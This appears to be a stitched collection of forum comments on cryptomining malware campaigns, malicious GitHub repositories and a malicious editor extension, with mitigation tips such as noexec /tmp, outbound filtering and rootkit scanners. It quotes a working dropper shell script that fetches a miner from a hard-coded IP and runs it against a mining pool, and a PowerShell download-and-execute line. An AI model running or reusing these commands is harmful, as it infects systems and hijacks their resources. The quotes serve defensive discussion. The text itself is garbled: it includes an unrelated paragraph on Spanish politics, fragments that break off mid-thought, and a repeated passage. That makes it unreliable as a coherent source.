I don't see anyone recommending measures to mitigate these attacks either.
The first stage is to exploit a vulnerability, and usually the second one download remote files with curl or wget to /tmp,/var/tmp,/dev/shm + execution. For example in this campaign in particular:
#!/bin/sh
if ps -eo comm= | grep -qx 'x12345'; then
exit 0
fi
cd /tmp; (wget http://217.60.194.116/x -O- || curl http://217.60.194.116/x -o-) > x12345; chmod 777 x12345; ./x12345 --donate-level 5 -o ota.proxystream.st:3333 --rig-id plexdocker
if you don't need curl/wget, just uninstall them, also from the docker container/image.
mount /tmp with noexec option, or remove exec permissions.
you can also use tools to restrict outbound connections by binary/ip/host/port such as OpenSnitch. Blocking mining pools addresses would also help in these attacks.
decloaker, chkrootkit, unhide... can help to analyze an infected system.
It is possible and this in particular is a decision that I'm sure the US will pressure the government to reverse. However, it's misguided to see the entire world through the US political lens where reversing policy decisions is seen as a free win by the voting base. Spain's current democracy is only about fifty years old and extremism is viewed very negatively so outright undoing is generally less common then gradual undermining.
- This is a new repository, not a fork
- All repositories have different contributors and different names
From the last two points, it becomes clear that even if we find one such repository, we won’t be able to find other similar repositories using it.
In previous campaigns the repositories were linked to a few users. But those users had starred other users, that at the same time had also cloned other repositories with the malware. Sometimes the malicious repository had been cloned from another malicious repo, and if you listed the repositories and "friends" of that user, all were part of the botnet.
Also, github doesn't delete repositories and accounts, they mark them as deleted. If you use their api you can still list them.
restrict code.exe to an allowlist. Also, many malicious actors rely on system commands to download or exfiltrate data.
Take for example this activity from a malicious extension:
This code makes an HTTP GET request to https://solidity[.]bot/version.json that includes the system’s platform string in the headers.
powershell -ExecutionPolicy Bypass -Command "irm https://solidity[.]bot/a.txt | iex"
This PowerShell command downloads and executes https://solidity[.]bot/a.txt, a suspicious action that, when coupled with the use of obfuscation in extension.js, indicates malicious intent.
The first stage is to exploit a vulnerability, and usually the second one download remote files with curl or wget to /tmp,/var/tmp,/dev/shm + execution. For example in this campaign in particular:
if you don't need curl/wget, just uninstall them, also from the docker container/image.mount /tmp with noexec option, or remove exec permissions.
you can also use tools to restrict outbound connections by binary/ip/host/port such as OpenSnitch. Blocking mining pools addresses would also help in these attacks.
decloaker, chkrootkit, unhide... can help to analyze an infected system.
[0] https://github.com/gustavo-iniguez-goya/decloaker
[1] https://chkrootkit.org
reply